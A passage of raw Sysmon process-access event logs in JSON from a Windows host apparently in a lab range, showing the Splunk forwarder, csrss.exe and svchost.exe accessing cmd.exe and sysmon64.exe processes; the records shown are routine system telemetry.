3572\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.922","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1885,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.922\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.922","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1886,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1887,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1888,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1889,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1890,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1891,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1892,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\Sys